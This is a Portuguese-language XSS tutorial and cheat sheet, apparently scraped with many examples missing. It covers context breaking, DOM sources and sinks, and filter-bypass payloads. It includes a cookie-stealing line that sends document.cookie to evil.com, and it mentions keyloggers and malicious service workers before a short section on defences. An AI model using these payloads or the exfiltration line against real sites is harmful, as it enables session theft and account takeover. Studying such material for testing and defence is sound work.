XSS
Cross-site Scripting 3xposed!
O Cross-Site Scripting (XSS) não é uma falha de "código"; é uma falha de confiança.
O mecanismo fundamental da web é: seu navegador confia no servidor (ex: banco.com) e executa qualquer código (HTML, JavaScript) que ele envia. O XSS explora isso ao enganar o servidor para que ele envie um código do atacante (injetado) junto com o código legítimo.
O navegador da vítima recebe esse payload e o executa, pois ele "veio" do banco.com e o navegador não tem como saber que aquele pedaço do código não é legítimo.
Entender como quebrar o contexto é o cerne do XSS.
O seu objetivo não é apenas "fechar a expressão", mas sim neutralizar o código legítimo restante para que o seu payload possa ser executado sem erros de sintaxe.
Além do ponto e vírgula (;) e do comentário de linha (//), que são os mais comuns, o método que você vai usar depende 100% do contexto onde seu payload é inserido.
Genérico (contexto HTML)
Quando sua entrada é refletida diretamente no corpo HTML sem ser encapsulada em nenhuma tag ou atributo específico, você tem mais flexibilidade para exploração.
Comece de forma simples com cargas úteis como:
<script>alert(1)</script><img src=x onerror=alert(1)>Ambas as cargas mencionadas acima funcionarão sem a necessidade de sair de nenhuma tag. Você pode usar praticamente qualquer tag HTML que suporte execução JavaScript, incluindo <svg>, <iframe>, <object>, ou atributos do manipulador de eventos em tags de fechamento automático.
Atributo HTML (HTML inline)
Quando seu XSS reflected aparece dentro de um atributo HTML (como <input value="REFLECTION"> ou <form action="/path/to/submit?param1=REFLECTION">), você precisará sair do contexto do atributo antes de injetar seu payload.
Você pode fechar o atributo com uma aspas ou fechar a tag inteira com >, e então injete uma nova tag maliciosa como "><script>alert(1)</script>, ou permaneça dentro da mesma tag adicionando um manipulador de eventos como " onload=alert(1) x=".
A chave é entender qual tipo de aspas (simples ou dupla) é usado para envolver o atributo e se o aplicativo filtra quaisquer outros caracteres que possam nos impedir de escapar do contexto.
Cheat Sheet
1. Vetores de Origem e Contextos (Triggers)
Como e onde a injeção acontece baseado no contexto do código HTML/JS.
Contexto de Script (<script>...)
<script>...)Quando a entrada reflete dentro de tags de script existentes.
Quebra de String:
Quebra de Tag (Break):
Quebra de
Aspas:Break:
Contexto de Atributo
Quando a entrada reflete dentro de atributos de tags HTML.
Event Handlers (Inline):
Protocolo
javascript:(Href/Src):Atalhos e Obfuscação:
Usando HTML Entities:
javascript:alert(1)Usando URL Encode:
%6a%61%76%61...
Estilos (Style - Legado/IE):
Tags Mágicas e Especiais
Tags que executam scripts automaticamente ou permitem vetores exóticos.
SVG (Scalable Vector Graphics):
Iframe:
Object / Embed:
Tags de Mídia (Error Events):
Input (Auto Focus):
2. DOM XSS
Vulnerabilidades que ocorrem no processamento do lado do cliente (Client-side).
Fontes (Sources)
Onde o atacante controla a entrada de dados.
location.hreflocation.searchlocation.hash(fragmento da URL #)document.cookiedocument.referrerwindow.namelocalStorage/sessionStorage
Sumidouros (Sinks / Triggers)
Onde a execução do código malicioso acontece.
Execução Direta:
eval()setTimeout()setInterval()Function()
Manipulação de HTML:
innerHTMLouterHTMLdocument.write()document.writeln()
Navegação:
location.replace()location.assign()
Frameworks Específicos
jQuery:
Uso perigoso de seletores
$()com location hash..html(),.append()
React:
Uso de
dangerouslySetInnerHTML.
Angular:
Bypass de sanitização ou injeção de template.
3. Bypass e WAF Evasion (POC)
Técnicas para contornar filtros e limitações de tamanho.
Bypass de Limite de Caracteres (Length Limit)
Quando o input é muito curto.
Concatenação de Variáveis:
Uso de
window.name:Hash da URL:
Bypass de Filtros (Keywords e Tags)
Case Sensitivity:
<ScRiPt>alert(1)</sCrIpT>Espaços e Barras:
<img/src=x/onerror=alert(1)>Codificação:
JS Unicode:
\u0061lert(1)HTML Decimal:
alert(1)Base64 (se houver decode):
eval(atob('YWxlcnQoMSk='))
Tags Aninhadas (Filter Stripping):
<scr<script>ipt>alert(1)</script>
Ocultação de Payload
Comentários: ``
Polyglots: Payloads que funcionam em múltiplos contextos (HTML, JS, Atributo).
4. Exploração e Pós-Exploração (Exp)
O que fazer após conseguir a execução de JavaScript.
Roubo de Informações
Cookies:
new Image().src='http://evil.com?c='+document.cookieKeylogging: Monitorar eventos de teclado e enviar para servidor externo.
Captura de Tela: Usando HTML5 Canvas ou bibliotecas como html2canvas.
Persistência
Service Workers: Registrar um SW malicioso para interceptar requisições futuras.
Web Storage: Salvar payload no LocalStorage para execução recorrente.
Cache Poisoning: Forçar o cache de arquivos JS envenenados.
Ferramentas (Tools)
Burp Suite: Scanner e repetidor.
XSSer: Automação de ataques.
BeEF (Browser Exploitation Framework): Framework completo para hooks de navegadores.
XSStrike: Fuzzer avançado de XSS.
5. Prevenção (Defesa)
Input Sanitization: Limpar a entrada (remover caracteres perigosos).
Output Encoding: Codificar a saída de acordo com o contexto (HTML Entity Encode, URL Encode, JS Encode).
CSP (Content Security Policy):
Restringir fontes de scripts (
script-src 'self').Desabilitar
unsafe-inlineeunsafe-eval.
HttpOnly Cookies: Impedir acesso ao cookie via
document.cookie.
Atualizado